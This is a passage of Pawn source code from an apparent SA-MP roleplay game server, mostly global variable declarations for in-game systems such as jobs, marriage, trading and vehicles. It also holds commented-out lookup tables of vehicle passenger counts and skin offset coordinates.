	  TransportDriver[MAX_PLAYERS],
	  JobDuty[MAX_PLAYERS],
	  MedicDuty[MAX_PLAYERS],
	  DateOfRekord[60],
	  AtmTime[MAX_PLAYERS],
	  UseAtm[MAX_PLAYERS],
	  SellApproval[MAX_PLAYERS],
	  BuyApproval[MAX_PLAYERS],
	  ApprovalPriceOffer[MAX_PLAYERS],
	  gateopen1,
	  gateopen2,
	  gateopen3,
	  gateopen4,
	  gateopen5,
	  gateopen6,
	  gateopen7,
	  gateopen8,
	  gateopen9,
	  gateopen10,
	  gateopen11,
//	  gateopen15,
	//  gateopen20,
	  gateopen21,
	   gateopen22,
	   gateopen23,
	   //yardopen,
	   reportopen,
	   pbdg,
	   pbsl,
	   pbsg,
	   pbss,
	   pbcs,
	   pbmp,
	   pbsr,
	   pbak,
	   pbm4,
	   pbcr,
//	   balsys1,
//	   balsys2,
	  SellFree[MAX_PLAYERS],
	  BuyFree[MAX_PLAYERS],
	  FreePriceOffer[MAX_PLAYERS],
	  SellHFree[MAX_PLAYERS],
	  BuyHFree[MAX_PLAYERS],
	  HFreePriceOffer[MAX_PLAYERS],
	  randomsms[MAX_PLAYERS],
	  OnSellCar[MAX_PLAYERS],
	  SchoolSpawn[MAX_PLAYERS],
	  TaxiSpawn[MAX_PLAYERS],
	  TakingLesson[MAX_PLAYERS],
	  TakingsiLesson[MAX_PLAYERS],
	  UsedFind[MAX_PLAYERS],
	  WatchingTV[MAX_PLAYERS],
	  NoFuel[MAX_PLAYERS],
	  MatsHolding[MAX_PLAYERS],
	  DivorceOffer[MAX_PLAYERS],
	  MarriageCeremoney[MAX_PLAYERS],
	  AgentHitID[MAX_PLAYERS],
	  AgentContractID[MAX_PLAYERS],
	  bool:AgentContractIDUsed[MAX_PLAYERS],
	  ContractID[MAX_PLAYERS],
	  bool:ContractIDUsed[MAX_PLAYERS],
	  ContractsCount,
	  AgentHiterID[MAX_PLAYERS],
	  ProposeOffer[MAX_PLAYERS],
	  ProposedTo[MAX_PLAYERS],
	  GotProposedBy[MAX_PLAYERS],
	  MarryWitness[MAX_PLAYERS],
	  MarryWitnessOffer[MAX_PLAYERS],
	  TicketOffer[MAX_PLAYERS],
	  TicketMoney[MAX_PLAYERS],
	  SpawnChange[MAX_PLAYERS],
	  TutTime[MAX_PLAYERS],
	  TutTime1[MAX_PLAYERS],
	  PlayerTazeTime[MAX_PLAYERS],
	  FindTimePoints[MAX_PLAYERS],
	  FindTime[MAX_PLAYERS],
	  MedicTime[MAX_PLAYERS],
	  MedicBill[MAX_PLAYERS],
	  PlayerCuffed[MAX_PLAYERS],
	  PlayerHandsCuffed[MAX_PLAYERS],
	  PlayerCuffedTime[MAX_PLAYERS],
	  LiveOffer[MAX_PLAYERS],
	  TalkingLive[MAX_PLAYERS],
	  SelectCharID[MAX_PLAYERS],
	  SelectCharPlace[MAX_PLAYERS],
	  ChosenSkin[MAX_PLAYERS],
	  ApprovedLawyer[MAX_PLAYERS],
	  CallLawyer[MAX_PLAYERS],
	  WantLawyer[MAX_PLAYERS],
	  CP[MAX_PLAYERS],
	  RCP[MAX_PLAYERS],
	  AnimPlay[MAX_PLAYERS],
	  MoneyMessage[MAX_PLAYERS],
	  RepairOffer[MAX_PLAYERS],
	  RepairPrice[MAX_PLAYERS],
	  RefillOffer[MAX_PLAYERS],
	  RefillPrice[MAX_PLAYERS],
	  RepairCar[MAX_PLAYERS],
	  MaxSorat[MAX_VEHICLES],
	  News[8][newsenum],
	  Text3D:hotdog[MAX_PLAYERS],
	  bool:IsValidAVeh[MAX_VEHICLES],
	  DrugOffer[MAX_PLAYERS],
	  DrugSell[MAX_PLAYERS],
	  DrugPrice[MAX_PLAYERS],
	  DrugGram[MAX_PLAYERS],

	   MatxOffer[MAX_PLAYERS],
	  MatxSell[MAX_PLAYERS],
	  MatxPrice[MAX_PLAYERS],
	  MatxGram[MAX_PLAYERS],
	  
	   GrapexOffer[MAX_PLAYERS],
	  GrapexSell[MAX_PLAYERS],
	  GrapexPrice[MAX_PLAYERS],
	  GrapexGram[MAX_PLAYERS],
	  
	   LiquorxOffer[MAX_PLAYERS],
	  LiquorxSell[MAX_PLAYERS],
	  LiquorxPrice[MAX_PLAYERS],
	  LiquorxGram[MAX_PLAYERS],
	  
      BoxxOffer[MAX_PLAYERS],
	  BoxxSell[MAX_PLAYERS],
	  BoxxPrice[MAX_PLAYERS],
	  BoxxGram[MAX_PLAYERS],

	  sHealOffer[MAX_PLAYERS],
	  sHealPrice[MAX_PLAYERS],

	  WantedPoints[MAX_PLAYERS],
	  WantedLevel[MAX_PLAYERS],
	  OnDuty[MAX_PLAYERS],
	  gPlayerLogged[MAX_PLAYERS],
	  gPlayerLogTries[MAX_PLAYERS],
	  gPlayerSpawned[MAX_PLAYERS],
	  gLastCar[MAX_PLAYERS],
	  gOoc[MAX_PLAYERS],
	  OnEnteringVeh[MAX_PLAYERS],
	  OnEnteringVehPlay[MAX_PLAYERS],
	  bool:PlayDeathingCameraE[MAX_PLAYERS],
	  gNews[MAX_PLAYERS],
	  gFam[MAX_PLAYERS],
	  BigEar[MAX_PLAYERS],
	  CellTime[MAX_PLAYERS],
	  StartTime[MAX_PLAYERS],
	  RentedVehicle[MAX_PLAYERS],
	  Specing[MAX_PLAYERS],
	  Specing2[MAX_PLAYERS],
	  PhoneOnline[MAX_PLAYERS],
	  gDice[MAX_PLAYERS],
	  Fixr[MAX_PLAYERS],
	  Float:GoBack[MAX_PLAYERS][3],
	  GoBack1[MAX_PLAYERS][5],
	  Mobile[MAX_PLAYERS],
	  CallCost[MAX_PLAYERS],
	  AFK[MAX_PLAYERS],
	  oldColor[MAX_PLAYERS],
	  warntime[MAX_PLAYERS],
	  towtimer[MAX_PLAYERS],
	  boxtimer[MAX_PLAYERS],
	  jettimer[MAX_PLAYERS],
	  //dozditimer[MAX_PLAYERS],
	  farartimer[MAX_PLAYERS],
	  dozdshodetimer[MAX_PLAYERS],
	  dytimer[MAX_PLAYERS],
	  atishrtimer[MAX_PLAYERS],
	  tnttimer[MAX_PLAYERS],
	  vvehtimer[MAX_PLAYERS],
	  vhptimer[MAX_PLAYERS],
	  vartimer[MAX_PLAYERS],
	   newstimer[MAX_PLAYERS],
	  TurfTime[50],
	  gLastDriver[MAX_VEHICLES],
	  gCarLock[MAX_VEHICLES],
//	  Float:rx,
//	  Float:ry,
//	  Float:rz,
	  cbjstore[128],
	  ghour = 0,
	  gminute = 0,
	  gsecond = 0,
	  levelcost = 100,
	  realchat = 1,
	  timeshift = 0,
	  shifthour,
	  //levelexp = 3,
	  DynamicFactions[22][Factions],
	  DynamicClans[MAX_CLANS][Clans],
	  OnSpecPlayer[MAX_PLAYERS],
	  AntiKoonHack[MAX_PLAYERS],
	  TofAll[MAX_PLAYERS],
	  PlayerFish[MAX_PLAYERS],
	  cchargetime = 60,
	  pickups,
	  //Float:ChangePos[MAX_PLAYERS][3],
	  ChangePos2[MAX_PLAYERS][2],
	  Float:TeleportDest[MAX_PLAYERS][3],
	   Float:TeleportDest2[MAX_PLAYERS][3],
	   Float:Teleportevent[3],
	   Telportevent[5],
	  TelportEtela[MAX_PLAYERS][5],
	  TelportEtela2[MAX_PLAYERS][5],
	  Float:TelePos2[MAX_PLAYERS][3],
	  Float:TelePos[MAX_PLAYERS][6],
	  engineOn[MAX_VEHICLES],
	  gEngine[MAX_PLAYERS],
	  KnockedDown[MAX_PLAYERS],
	  OwnableCarOffer[MAX_PLAYERS],
	  OwnableCarID[MAX_PLAYERS],
	  OwnablePriceModel[MAX_PLAYERS],
	  BlindFold[MAX_PLAYERS],
	  Reported[MAX_PLAYERS],
	  Helpme[MAX_PLAYERS],
	  HelpmeText[MAX_PLAYERS][128],
	  ReportText[MAX_PLAYERS][128],
	  HealthAllowedForPlayer[MAX_PLAYERS],
	  HidePM[MAX_PLAYERS],
	  wepidw[MAX_PLAYERS],
	  Ammom[MAX_PLAYERS],
	  IsSmoking[MAX_PLAYERS],
	  UsingSmokeAnim[MAX_PLAYERS],
	  CreatingGun[MAX_PLAYERS],
	  CreatingGunAmmo[MAX_PLAYERS],
	  CreatingGunPrice[MAX_PLAYERS],
	  IsPuttingMaterials[MAX_PLAYERS],
	  IsTakingGun[MAX_PLAYERS],
	  HitmanTofangPackage[MAX_PLAYERS],
	  Refueling[MAX_PLAYERS],
	  FullySpawned[MAX_PLAYERS],
	  /*VehiclePassengerSlots[212] =
	  {
		  3,//landstalker
		  1,//Bravura
		  1,//Buffalo
		  1,//LinnerRunner
		  3,//Perrenial
		  3,//Sentinel
		  0,//Dumper
		  1,//Firetruck
		  1,//TrashMaster
		  3,//Stretch
		  1,//Manana
		  1,//Infernus
		  1,//Voodoo
		  3,//Pony
		  1,//Mule
		  1,//Cheetah
		  3,//Ambulance
		  1,//Leviathan
		  3,//Moonbeam
		  1,//Esperanto
		  3,//Taxi
		  3,//Washington
		  1,//Bobcat
		  1,//Mr Whoopee
		  1,//Bf Injection
		  0,//Hunter
		  3,//Premier
		  3,//Enforcer
		  3,//Securicar
		  1,//Banshee
		  0,//Predator(Police Boat)
		  8,//Bus
		  0,//Rhino
		  1,//Barracks
		  1,//Hotknife
		  0,//Article Trailer
		  1,//Previon
		  8,//Coach
		  3,//Cabbie
		  1,//Stallion
		  3,//Rumpo
		  0,//RC Bandit
		  1,//Romero
		  1,//Packer
		  1,//Monster
		  3,//Admiral
		  0,//Squalo
		  1,//SeaSparrow
		  0,//PizzaBoy
		  5,//Tram
		  0,//Article Trailer 2
		  1,//Turismo
		  0,//Speeder
		  0,//Reefer
		  0,//Tropic
		  1,//Flatbed
		  1,//Yankee
		  1,//Caddy
		  3,//Soliar
		  3,//Berkley's RC Van
		  1,//Skimmer
		  1,//PCJ-600
		  1,//Faggio
		  1,//Freeway
		  1,//RC Baron
		  1,//RC Raider
		  3,//Glendale
		  3,//Oceanic
		  1,//Sanchez
		  1,//Sparrow
		  3,//Patriot
		  1,//Quad
		  0,//Coastguard
		  0,//Dinghy
		  1,//Hermes
		  1,//Sabre
		  0,//Rustler
		  1,//ZR-350
		  1,//Walton
		  3,//Regina
		  1,//Comet
		  0,//BMX
		  3,//Burrito
		  2,//Camper
		  0,//Marquis
		  0,//Baggage
		  0,//Dozer
		  3,//Maverick
		  1,//News Chopper
		  1,//Rancher
		  3,//FBI-Rancher
		  1,//Virgo
		  3,//GreenWood
		  0,//Jetmax
		  1,//Hotring
		  1,//SandKing
		  1,//Blista Compact
		  3,//Police Maverick
		  3,//Box Ville
		  1,//BenSon
		  1,//Mesa
		  1,//RC Goblin
		  1,//Hotring Racer A
		  1,//Hotring Racer B
		  1,//Bloodring Banger
		  1,//Rancher
		  1,//Super GT
		  3,//Elegant
		  1,//Journey
		  0,//Bike
		  0,//Mountain Bike
		  1,//Beagle
		  0,//Cropdust
		  0,//Stunt
		  1,//Tanker
		  1,//RoadTrain
		  3,//Nebula
		  1,//Majestic
		  1,//Buccaneer
		  0,//Shamal
		  0,//Hydra
		  1,//FCR-900
		  1,//NRG-500
		  1,//HPV-1000
		  1,//Cement Truck
		  1,//Tow Truck
		  1,//Fortune
		  1,//Cadrona
		  1,//FBI Truck
		  3,//Willard
		  0,//Forklift
		  0,//Tractor
		  0,//Combine
		  1,//Feltzer
		  1,//Remington
		  1,//Slamvan
		  1,//Blade
		  5,//Freight
		  5,//Streak
		  0,//Vortex
		  3,//Vincent
		  1,//Bullet
		  1,//Clover
		  1,//Sadler
		  1,//Firetruck LA
		  1,//Hustler
		  3,//Intruder
		  3,//Primo
		  1,//Cargobob
		  1,//Tampa
		  3,//Sunrise
		  3,//Merit
		  1,//Utility
		  0,//Nevada
		  1,//Yosemite
		  1,//Windsor
		  1,//Monster A
		  1,//Monster B
		  1,//Uranus
		  1,//Jester
		  3,//Sultan
		  3,//Startum
		  1,//Elegy
		  1,//Raindance
		  0,//RC Tiger
		  1,//Flash
		  3,//Tahoma
		  3,//Savanna
		  0,//Bandito
		  0,//Freight Flat Trailer (Train)
		  0,//Streak Trailer (Train)
		  0,//Kart
		  0,//Mower
		  1,//Duneride
		  0,//Sweeper
		  1,//Broadway
		  1,//Tornado
		  1,//AT-400
		  1,//Dft-30
		  3,//Huntley
		  3,//Stafford
		  1,//BF-400
		  3,//News van
		  0,//Tug
		  0,//Fuel trailer truck
		  3,//Emperor
		  1,//Wayfarer
		  1,//Euros
		  1,//Hotdog
		  1,//Club
		  0,//Freight Box Trailer (Train)
		  0,//Article Trailer 3
		  1,//Androma
		  1,//Dodo
		  1,//RC Cam
		  0,//Launch
		  3,//Police LSPD
		  3,//Police SFPD
		  3,//Police LVPD
		  1,//Police Ranger
		  1,//Picador
		  1,//SWAT Van
		  1,//Alpha
		  1,//Phoenix
		  3,//Gleande Shit
		  1,//Sadler
		  0,//Unknown
		  0,//Unknown
		  0,//Unknown
		  3,//BoxVille
		  0,//Unknown
		  0//Unknown
	  }, */
	  /*
	  Float:SkinOffSet[300][7] = {
{0.098771, 0.030772, -0.000335, 85.342658, 84.122947, 4.236968 }, // - 0
{0.100766, 0.028630, -0.003521, 87.936676, 82.110870, 4.236968 }, // - 1
{0.083712, 0.033132, -0.003521, 87.936676, 82.110870, 4.236968 }, // - 2
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 3
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 4
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 5
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 6
{0.090066, 0.043458, -0.006523, 87.936676, 82.110870, 4.236968 }, // - 7
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 8
{0.070977, 0.028663, 0.000147, 81.164970, 92.128402, 4.236968 },  // - 9
{0.072317, 0.032179, -0.002934, 86.843269, 84.196006, 4.236968 }, // - 10
{0.072317, 0.035465, -0.002201, 86.843269, 84.196006, 4.236968 }, // - 11
{0.072317, 0.028100, -0.002201, 86.843269, 84.196006, 4.236968 }, // - 12
{0.076569, 0.028100, -0.002201, 86.843269, 84.196006, 4.236968 }, // - 13
{0.091310, 0.049169, -0.002201, 86.843269, 84.196006, 4.236968 }, // - 14
{0.073734, 0.006292, -0.002755, 86.843269, 84.196006, 4.236968 }, // - 15
{0.092845, 0.040331, 0.000183, 86.843269, 82.864280, 4.236968 },  // - 16
{0.088241, 0.030184, -0.000157, 86.843269, 82.864280, 4.236968 }, // - 17
{0.061677, 0.029596, -0.007398, 86.843269, 82.864280, 4.236968 }, // - 18
{0.079911, 0.029596, -0.002934, 86.843269, 82.864280, 4.236968 }, // - 19
{0.095079, 0.029596, -0.001718, 85.261871, 86.296562, 4.236968 }, // - 20
{0.093728, 0.042083, -0.005781, 85.261871, 81.636192, 4.236968 }, // - 21
{0.079585, 0.042083, -0.005781, 85.261871, 81.636192, 4.236968 }, // - 22
{0.090786, 0.041737, -0.005263, 85.261871, 81.636192, 4.236968 }, // - 23
{0.085247, 0.026941, -0.000317, 85.261871, 81.636192, 4.236968 }, // - 24
{0.081646, 0.031448, -0.001113, 89.393653, 81.665985, 4.236968 }, // - 25
{0.083700, 0.033814, -0.001960, 86.436462, 81.665985, 4.236968 }, // - 26
{0.092498, 0.037321, -0.001960, 86.436462, 85.568023, 4.236968 }, // - 27
{0.097068, 0.041360, -0.007881, 86.771400, 85.568023, 4.236968 }, // - 28
{0.083456, 0.050595, 0.001011, 86.771400, 77.201461, 4.236968 },  // - 29
{0.076983, 0.047168, -0.006161, 86.771400, 74.329719, 4.236968 }, // - 30
{0.083798, 0.042184, -0.001869, 86.771400, 83.181861, 4.236968 }, // - 31
{0.053021, -0.000587, -0.001869, 86.771400, 66.859710, 4.236968 },// - 32
{0.034386, 0.013324, -0.001869, 86.771400, 80.314460, 4.236968 }, // - 33
{0.104669, 0.037365, -0.001403, 86.771400, 87.178382, 4.236968 }, // - 34
{0.102659, 0.037465, -0.000829, 86.771400, 93.020492, 4.236968 }, // - 35
{0.107638, 0.037465, -0.000829, 86.771400, 93.020492, 4.236968 }, // - 36
{0.107638, 0.035879, -0.000829, 86.771400, 93.020492, 4.236968 }, // - 37
{0.107638, 0.041106, -0.000829, 86.771400, 93.020492, 4.236968 }, // - 38
{0.080326, 0.035634, -0.000829, 86.771400, 93.020492, 4.236968 }, // - 39
{0.080326, 0.027371, -0.000829, 86.771400, 93.020492, 4.236968 }, // - 40
{0.084617, 0.039613, -0.001620, 86.771400, 93.020492, 4.236968 }, // - 41
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 42
{0.040075, 0.025445, -0.000974, 86.771400, 92.964149, 4.236968 }, // - 43
{0.077369, 0.028469, -0.000974, 86.771400, 78.435791, 4.236968 }, // - 44
{0.064145, 0.028684, -0.000974, 86.771400, 84.762802, 4.236968 }, // - 45
{0.091993, 0.056559, -0.000974, 86.771400, 84.762802, 4.236968 }, // - 46
{0.084582, 0.051277, -0.005034, 86.771400, 84.762802, 4.236968 }, // - 47
{0.092182, 0.042095, -0.003533, 86.771400, 84.762802, 4.236968 }, // - 48
{0.086866, 0.032203, -0.001021, 86.771400, 84.762802, 4.236968 }, // - 49
{0.099350, 0.009422, -0.005899, 86.771400, 84.762802, 4.236968 }, // - 50
{0.099350, 0.030598, -0.005899, 86.771400, 84.762802, 4.236968 }, // - 51
{0.099350, 0.030598, -0.003575, 86.771400, 84.762802, 4.236968 }, // - 52
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 53
{0.079123, 0.030598, -0.003575, 86.771400, 84.762802, 4.236968 }, // - 54
{0.063159, 0.029641, -0.003575, 86.771400, 84.762802, 4.236968 }, // - 55
{0.070293, 0.029641, -0.000570, 86.771400, 84.762802, 4.236968 }, // - 56
{0.111305, 0.045368, -0.000570, 86.771400, 84.458084, 4.236968 }, // - 57
{0.084901, 0.020965, -0.000570, 86.771400, 79.542411, 4.236968 }, // - 58
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 59
{0.090164, 0.044163, -0.004754, 86.771400, 79.542411, 4.236968 }, // - 60
{0.087151, 0.041447, -0.000885, 90.928329, 89.598678, 0.000000 }, // - 61
{0.094350, 0.041447, 0.005717, 90.928329, 89.598678, 0.000000 },  // - 62
{0.075534, 0.041447, -0.001751, 90.928329, 89.598678, 0.000000 }, // - 63
{0.075534, 0.041447, -0.001751, 90.928329, 89.598678, 0.000000 }, // - 64
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 65
{0.104148, 0.034787, 0.001341, 90.928329, 89.598678, 0.000000 },  // - 66
{0.104148, 0.034787, 0.001341, 90.928329, 89.598678, 0.000000 },  // - 67
{0.087317, 0.039646, -0.004032, 90.928329, 89.598678, 0.000000 }, // - 68
{0.074873, 0.039646, -0.003072, 90.928329, 89.598678, 0.000000 }, // - 69
{0.090391, 0.042364, 0.005494, 90.928329, 89.598678, 0.000000 },  // - 70
{0.090391, 0.022298, -0.001170, 90.928329, 89.598678, 0.000000 }, // - 71
{0.090391, 0.039580, -0.001170, 90.928329, 89.598678, 0.000000 }, // - 72
{0.090391, 0.038224, -0.001170, 90.928329, 89.598678, 0.000000 }, // - 73
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 74
{0.083113, 0.038224, -0.001170, 90.928329, 89.598678, 0.000000 }, // - 75
{0.072957, 0.028956, -0.001170, 90.928329, 89.598678, 0.000000 }, // - 76
{0.069398, 0.039981, -0.001170, 90.928329, 89.598678, 0.000000 }, // - 77
{0.105738, 0.010001, 0.004508, 90.928329, 79.030494, 0.000000 },  // - 78
{0.078264, 0.019668, 0.004508, 90.928329, 79.030494, 0.000000 },  // - 79
{0.087377, 0.022096, -0.001993, 90.928329, 79.030494, 0.000000 }, // - 80
{0.087377, 0.022096, -0.001635, 90.928329, 79.030494, 0.000000 }, // - 81
{0.100623, 0.043063, -0.001635, 90.928329, 87.672645, 0.000000 }, // - 82
{0.092528, 0.027493, -0.001635, 90.928329, 87.672645, 0.000000 }, // - 83
{0.102086, 0.027493, -0.001635, 90.928329, 87.672645, 0.000000 }, // - 84
{0.081954, 0.041672, -0.001635, 90.928329, 87.672645, 0.000000 }, // - 85
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 86
{0.077010, 0.046925, -0.003438, 90.928329, 91.590301, 0.000000 }, // - 87
{0.069952, 0.042635, -0.003438, 90.928329, 86.722587, 0.000000 }, // - 88
{0.093827, 0.019258, -0.003438, 90.928329, 86.722587, 0.000000 }, // - 89
{0.066464, 0.035685, -0.000843, 90.928329, 86.722587, 0.000000 }, // - 90
{0.066464, 0.035685, -0.000843, 90.928329, 86.722587, 0.000000 }, // - 91
{0.066464, 0.038135, -0.000843, 90.928329, 86.722587, 0.000000 }, // - 92
{0.066464, 0.038135, -0.001690, 90.928329, 86.722587, 0.000000 }, // - 93
{0.048124, 0.010598, -0.001690, 90.928329, 86.722587, 0.000000 }, // - 94
{0.084997, 0.006773, -0.001690, 90.928329, 86.722587, 0.000000 }, // - 95
{0.100076, 0.026633, -0.001690, 90.928329, 80.020179, 0.000000 }, // - 96
{0.061686, 0.027537, -0.001690, 90.928329, 80.020179, 0.000000 }, // - 97
{0.098318, 0.053993, -0.001690, 90.928329, 89.237678, 0.000000 }, // - 98
{0.098318, 0.033702, -0.001690, 90.928329, 89.237678, 0.000000 }, // - 99
{0.086149, 0.042526, -0.001690, 90.928329, 77.587478, 0.000000 }, // - 100
{0.081864, 0.030555, -0.001690, 90.928329, 78.145759, 0.000000 }, // - 101
{0.081864, 0.047914, -0.005079, 90.928329, 78.145759, 0.000000 }, // - 102
{0.089607, 0.036717, -0.005079, 90.928329, 78.145759, 0.000000 }, // - 103
{0.079655, 0.042021, -0.005079, 90.928329, 78.145759, 0.000000 }, // - 104
{0.091779, 0.037620, -0.005079, 90.928329, 78.145759, 0.000000 }, // - 105
{0.084179, 0.035251, -0.005079, 90.928329, 78.145759, 0.000000 }, // - 106
{0.089387, 0.040297, -0.006006, 90.928329, 78.145759, 0.000000 }, // - 107
{0.081930, 0.030756, 0.001523, 90.928329, 78.145759, 0.000000 },  // - 108
{0.092857, 0.043070, -0.006084, 90.928329, 85.326652, 0.000000 }, // - 109
{0.092857, 0.043070, -0.006084, 90.928329, 85.326652, 0.000000 }, // - 110
{0.106601, 0.028021, -0.003537, 90.928329, 90.217376, 0.000000 }, // - 111
{0.096335, 0.015873, -0.003537, 90.928329, 90.217376, 0.000000 }, // - 112
{0.105827, 0.046620, -0.001395, 90.928329, 90.217376, 0.000000 }, // - 113
{0.097520, 0.044296, -0.007286, 90.928329, 90.217376, 0.000000 }, // - 114
{0.097408, 0.043470, -0.007286, 90.928329, 90.217376, 0.000000 }, // - 115
{0.092588, 0.049832, -0.007286, 90.928329, 90.217376, 0.000000 }, // - 116
{0.081444, 0.037602, -0.003125, 90.928329, 90.217376, 0.000000 }, // - 117
{0.078678, 0.037602, -0.001816, 90.928329, 90.217376, 0.000000 }, // - 118
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 119
{0.089214, 0.029291, -0.000784, 90.928329, 84.624763, 0.000000 }, // - 120
{0.086825, 0.033424, -0.000784, 90.928329, 77.233818, 0.000000 }, // - 121
{0.082869, 0.030783, -0.000950, 90.928329, 77.233818, 0.000000 }, // - 122
{0.096117, 0.048957, -0.006245, 90.928329, 87.579650, 0.000000 }, // - 123
{0.103663, 0.040022, 0.000449, 90.928329, 87.579650, 0.000000 },  // - 124
{0.099326, 0.031202, -0.001180, 90.928329, 87.579650, 0.000000 }, // - 125
{0.099326, 0.031132, -0.001180, 90.928329, 87.579650, 0.000000 }, // - 126
{0.099326, 0.039279, -0.001180, 90.928329, 87.579650, 0.000000 }, // - 127
{0.099326, 0.047422, -0.001180, 90.928329, 87.579650, 0.000000 }, // - 128
{0.088817, 0.021210, 0.000730, 90.928329, 87.579650, 0.000000 },  // - 129
{0.025784, 0.028323, 0.000730, 90.928329, 59.394767, 0.000000 },  // - 130
{0.068455, 0.031841, -0.004470, 90.928329, 79.979003, 0.000000 }, // - 131
{0.012930, 0.008392, -0.004470, 90.928329, 72.129173, 0.000000 }, // - 132
{0.102457, 0.032260, -0.003338, 90.928329, 84.534217, 0.000000 }, // - 133
{0.085976, 0.014956, -0.003338, 90.928329, 80.308830, 0.000000 }, // - 134
{0.071574, 0.028186, -0.001588, 90.928329, 80.308830, 0.000000 }, // - 135
{0.085219, 0.016666, -0.000738, 90.928329, 80.308830, 0.000000 }, // - 136
{0.065114, 0.009318, -0.000738, 90.928329, 80.308830, 0.000000 }, // - 137
{0.066890, 0.040024, -0.000738, 90.928329, 87.341934, 0.000000 }, // - 138
{0.072037, 0.036141, -0.000702, 90.928329, 87.341934, 0.000000 }, // - 139
{0.069108, 0.042194, -0.000436, 90.928329, 87.341934, 0.000000 }, // - 140
{0.058717, 0.043547, -0.000436, 90.928329, 87.209770, 0.000000 }, // - 141
{0.104196, 0.039601, -0.005481, 90.928329, 87.209770, 0.000000 }, // - 142
{0.090929, 0.045881, -0.012780, 90.928329, 87.209770, 0.000000 }, // - 143
{0.098291, 0.042464, -0.006952, 90.928329, 83.081665, 0.000000 }, // - 144
{0.080087, 0.030122, 0.000606, 90.928329, 83.081665, 0.000000 },  // - 145
{0.093500, 0.030690, -0.001545, 90.928329, 83.081665, 0.000000 }, // - 146
{0.079566, 0.020138, 0.004838, 90.928329, 73.715591, 0.000000 },  // - 147
{0.073564, 0.028430, -0.000527, 90.928329, 88.295433, 0.000000 }, // - 148
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 149
{0.073564, 0.028430, -0.000527, 90.928329, 88.295433, 0.000000 }, // - 150
{0.083426, 0.032359, -0.005717, 90.928329, 88.295433, 0.000000 }, // - 151
{0.072349, 0.019623, -0.000747, 90.928329, 82.624351, 0.000000 }, // - 152
{0.075065, 0.015351, 0.006545, 90.928329, 71.041442, 0.000000 },  // - 153
{0.062227, 0.029731, -0.004938, 90.928329, 84.602760, 0.000000 }, // - 154
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 155
{0.079936, 0.049000, -0.000304, 90.928329, 82.926010, 0.000000 }, // - 156
{0.067550, 0.035686, -0.000017, 90.928329, 82.926010, 0.000000 }, // - 157
{0.090676, 0.039383, -0.001726, 90.928329, 88.667900, 0.000000 }, // - 158
{0.090676, 0.039383, -0.003532, 90.928329, 88.667900, 0.000000 }, // - 159
{0.098662, 0.017441, -0.001589, 90.928329, 88.667900, 0.000000 }, // - 160
{0.105388, 0.038409, 0.003155, 90.928329, 88.667900, 0.000000 },  // - 161
{0.097415, 0.036904, -0.000525, 90.928329, 88.667900, 0.000000 }, // - 162
{0.088934, 0.023302, -0.004153, 90.928329, 80.393875, 0.000000 }, // - 163
{0.088934, 0.023302, -0.004153, 90.928329, 80.393875, 0.000000 }, // - 164
{0.087018, 0.051364, 0.000484, 90.928329, 94.584838, 0.000000 },  // - 165
{0.087018, 0.051364, 0.000484, 90.928329, 94.584838, 0.000000 },  // - 166
{0.095996, 0.038787, 0.000484, 90.928329, 84.315711, 0.000000 },  // - 167
{0.089094, 0.034001, -0.006451, 90.928329, 84.315711, 0.000000 }, // - 168
{0.075700, 0.028082, -0.006451, 90.928329, 84.315711, 0.000000 }, // - 169
{0.093751, 0.041968, -0.005545, 90.928329, 84.315711, 0.000000 }, // - 170
{0.090124, 0.031055, -0.000505, 90.928329, 84.315711, 0.000000 }, // - 171
{0.066033, 0.032915, -0.002713, 90.928329, 84.315711, 0.000000 }, // - 172
{0.088287, 0.045350, -0.005384, 90.928329, 84.315711, 0.000000 }, // - 173
{0.087750, 0.042129, -0.005384, 90.928329, 84.315711, 0.000000 }, // - 174
{0.092384, 0.039294, -0.005384, 90.928329, 84.315711, 0.000000 }, // - 175
{0.097661, 0.039065, -0.006344, 90.928329, 80.736480, 0.000000 }, // - 176
{0.097114, 0.039641, -0.006692, 90.928329, 80.736480, 0.000000 }, // - 177
{0.069354, 0.039641, -0.000474, 90.928329, 80.736480, 0.000000 }, // - 178
{0.091414, 0.039641, -0.005617, 90.928329, 80.736480, 0.000000 }, // - 179
{0.094914, 0.039641, -0.005617, 90.928329, 80.736480, 0.000000 }, // - 180
{0.117232, 0.033217, -0.001099, 90.928329, 82.396362, 0.000000 }, // - 181
{0.082569, 0.032748, -0.003248, 90.928329, 87.394371, 0.000000 }, // - 182
{0.095527, 0.027237, -0.001960, 90.928329, 86.443649, 0.000000 }, // - 183
{0.095527, 0.040994, -0.006878, 90.928329, 86.443649, 0.000000 }, // - 184
{0.085663, 0.030601, -0.002345, 90.928329, 81.496513, 0.000000 }, // - 185
{0.085663, 0.030601, -0.001015, 90.928329, 81.496513, 0.000000 }, // - 186
{0.076527, 0.027211, 0.008500, 90.928329, 74.401092, 0.000000 },  // - 187
{0.096669, 0.032578, 0.001662, 90.928329, 83.502502, 0.000000 },  // - 188
{0.098753, 0.032129, -0.001659, 90.928329, 90.153724, 0.000000 }, // - 189
{0.092821, 0.035572, -0.001659, 90.928329, 90.153724, 0.000000 }, // - 190
{0.092821, 0.035572, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 191
{0.092821, 0.035572, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 192
{0.092821, 0.035572, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 193
{0.092821, 0.035572, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 194
{0.092821, 0.035572, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 195
{0.092821, 0.035572, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 196
{0.100630, 0.020568, -0.001132, 90.928329, 90.153724, 0.000000 }, // - 197
